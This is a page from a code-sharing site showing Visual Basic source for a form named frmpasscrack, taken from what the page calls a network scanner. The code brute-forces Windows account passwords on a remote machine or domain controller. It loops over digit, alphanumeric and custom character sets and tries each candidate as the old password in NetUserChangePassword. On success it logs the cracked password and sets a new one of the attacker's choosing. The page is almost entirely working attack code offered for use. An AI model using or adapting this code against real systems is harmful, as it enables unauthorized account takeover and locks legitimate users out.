frmpasscrack.frm
来自「全面网络扫描器VB源代码 很实用」· FRM 代码 · 共 914 行 · 第 1/3 页
FRM
914 行
pn = 48
pk = ""
ps = ""
Do
ps = Chr(pn)
If pk <> "" Then ps = pk + ps
c = ChangeUserPassword(ComputerName, User, ps, NewPass)
Select Case c
Case "Error: Invalid password."
Case "Error: Access denied.": MsgBox c: Exit Sub
Case "Fehler: Invalid Computer-/Domainname.": MsgBox c: Close #filef: Exit Sub
Case "Error: This operation can only performed on the primary domain controler.": MsgBox c: Close #filef: Exit Sub
Case "Error: User not found.": MsgBox c: Close #filef: Exit Sub
Case "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)": MsgBox c: Close #filef: Exit Sub
Case "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied.": MsgBox c: Close #filef: Exit Sub
Case "Operation performed successfully.": MsgBox c: List1.AddItem "COMPUTER NAME = " + CStr(ComputerName) + " USER = " + CStr(User) + " FIND PASSWORD IS = " + CStr(d4) + " NEW PASSWORD IS = " + CStr(NewPass): Close filef: Exit Sub
Case "Error: Unexpected Error " & r & " occured.": MsgBox c: Close #filef: Exit Sub
End Select
If b(I) = Chr(0) Then b(I) = ps
If pn = 122 Then
pn = 48
ps = ""
pk = ""
For u = 1 To I
pk = pk + b(u)
Next
I = I + 1
End If
pn = pn + 1
'for string
If pn = 58 Then pn = 65
If pn = 91 Then pn = 97
If I = 5 Then
b(J) = Chr(Asc(b(J)) + 1)
'for string
If (Asc(b(J)) + 1) = 58 Then b(J) = Chr(65)
If (Asc(b(J)) + 1) = 91 Then b(J) = Chr(97)
J = J + 1
I = 1
End If
If J = 5 Then J = 1
Loop Until Asc(b(1)) = 122
End If
' for 'AllKey
If frmcrackopt.Combo1.Text = "AllKey" Then
settxt = CInt(frmcrackopt.txtsset)
ReDim b(settxt) As String * 1
I = 1
J = 1
pn = 48
pk = ""
ps = ""
Do
ps = Chr(pn)
If pk <> "" Then ps = pk + ps
c = ChangeUserPassword(ComputerName, User, ps, NewPass)
Select Case c
Case "Error: Invalid password."
Case "Error: Access denied.": MsgBox c: Exit Sub
Case "Fehler: Invalid Computer-/Domainname.": MsgBox c: Close #filef: Exit Sub
Case "Error: This operation can only performed on the primary domain controler.": MsgBox c: Close #filef: Exit Sub
Case "Error: User not found.": MsgBox c: Close #filef: Exit Sub
Case "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)": MsgBox c: Close #filef: Exit Sub
Case "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied.": MsgBox c: Close #filef: Exit Sub
Case "Operation performed successfully.": MsgBox c: List1.AddItem "COMPUTER NAME = " + CStr(ComputerName) + " USER = " + CStr(User) + " FIND PASSWORD IS = " + CStr(d4) + " NEW PASSWORD IS = " + CStr(NewPass): Close filef: Exit Sub
Case "Error: Unexpected Error " & r & " occured.": MsgBox c: Close #filef: Exit Sub
End Select
If b(I) = Chr(0) Then b(I) = ps
If pn = 122 Then
pn = 48
ps = ""
pk = ""
For u = 1 To I
pk = pk + b(u)
Next
I = I + 1
End If
pn = pn + 1
If I = 5 Then
b(J) = Chr(Asc(b(J)) + 1)
'for string
J = J + 1
I = 1
End If
If J = 5 Then J = 1
Loop Until Asc(b(1)) = 122
End If
'========================
Else
'txtbfcus
settxt = CInt(frmcrackopt.txtsset)
ReDim b(settxt) As String * 1
I = 1
J = 1
pn = Asc(Left$(frmcrackopt.txtbfcus.Text, 1))
pk = ""
ps = ""
Do
ps = Chr(pn)
If pk <> "" Then ps = pk + ps
c = ChangeUserPassword(ComputerName, User, ps, NewPass)
Select Case c
Case "Error: Invalid password."
Case "Error: Access denied.": MsgBox c: Exit Sub
Case "Fehler: Invalid Computer-/Domainname.": MsgBox c: Close #filef: Exit Sub
Case "Error: This operation can only performed on the primary domain controler.": MsgBox c: Close #filef: Exit Sub
Case "Error: User not found.": MsgBox c: Close #filef: Exit Sub
Case "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)": MsgBox c: Close #filef: Exit Sub
Case "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied.": MsgBox c: Close #filef: Exit Sub
Case "Operation performed successfully.": MsgBox c: List1.AddItem "COMPUTER NAME = " + CStr(ComputerName) + " USER = " + CStr(User) + " FIND PASSWORD IS = " + CStr(d4) + " NEW PASSWORD IS = " + CStr(NewPass): Close filef: Exit Sub
Case "Error: Unexpected Error " & r & " occured.": MsgBox c: Close #filef: Exit Sub
End Select
If b(I) = Chr(0) Then b(I) = ps
If pn = Asc(Right$(frmcrackopt.txtbfcus.Text, 1)) Then
pn = pn = Asc(Left$(frmcrackopt.txtbfcus.Text, 1))
ps = ""
pk = ""
For u = 1 To I
pk = pk + b(u)
Next
I = I + 1
End If
pn = pn + 1
If I = 5 Then
b(J) = Mid(frmcrackopt.txtbfcus.Text, J, 1)
'for string
J = J + 1
I = 1
End If
If J = 5 Then J = 1
Loop Until Asc(b(1)) = Asc(Right$(frmcrackopt.txtbfcus.Text, 1))
End If
End If
End Sub
Private Sub Form_Activate()
If Me.WindowState <> 2 Then Me.WindowState = 2
End Sub
Private Sub Form_Load()
Me.Hide
DoEvents
End Sub
Private Sub lblmain_Click()
Form3.Show
Me.Hide
End Sub
Private Sub mnuoptn_Click()
frmcrackopt.Show
End Sub
Private Sub savemnu_Click()
cd1.ShowSave
If cd1.FileName = "" Then
MsgBox "PLEASE Enter A File Name ", , "WARNNING"
Exit Sub
Else
c = FreeFile
Open cd1.FileName + ".html" For Output As c
Print #1, createhtml
Close c
End If
End Sub
'Changes the Password for the user "User" on the
'computer "Server" from "OldPassword" to "NewPassword"
Function ChangeUserPassword(ByVal Server As String, _
ByVal User As String, ByVal OldPassword As String, _
ByVal NewPassword As String) As String
'me add
txtnowtest.Text = OldPassword
DoEvents
Dim r As Long, msg As String
'Create Unicode-Arrays
Dim bComputer() As Byte: bComputer = GetByteArray(Server)
Dim bUser() As Byte: bUser = GetByteArray(User)
Dim bOldPassword() As Byte: bOldPassword = GetByteArray(OldPassword)
Dim bNewPassword() As Byte: bNewPassword = GetByteArray(NewPassword)
'call API-Function
r = NetUserChangePassword(bComputer(0), bUser(0), _
bOldPassword(0), bNewPassword(0))
'check return value and represent as string
Select Case r
Case ERROR_ACCESS_DENIED: msg = "Error: Access denied."
Case ERROR_INVALID_PASSWORD: msg = "Error: Invalid password."
Case NERR_InvalidComputer: msg = "Fehler: Invalid Computer-/Domainname."
Case NERR_NotPrimary: msg = "Error: This operation can only performed on the primary domain controler."
Case NERR_UserNotFound: msg = "Error: User not found."
Case NERR_PasswordTooShort: msg = "Error: Password does not match Password-Restrictions. (Password to short, to long or has already been used by this user.)"
Case ERROR_CANT_ACCESS_DOMAIN_INFO
msg = "Error: Error accessing info for domain controler. Maybe the computer is not available or access was denied."
Case 0: msg = "Operation performed successfully."
Case Else: msg = "Error: Unexpected Error " & r & " occured."
End Select
ChangeUserPassword = msg
End Function
'Converts a Unicode-String to a Unicode-Byte-Array.
'Is used because VB always passes Strings as ANSI instead of Unicode.
Private Function GetByteArray(ByVal str As String) As Byte()
Dim buf() As Byte
buf = str
ReDim Preserve buf(Len(str) * 2 + 1)
GetByteArray = buf
End Function
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?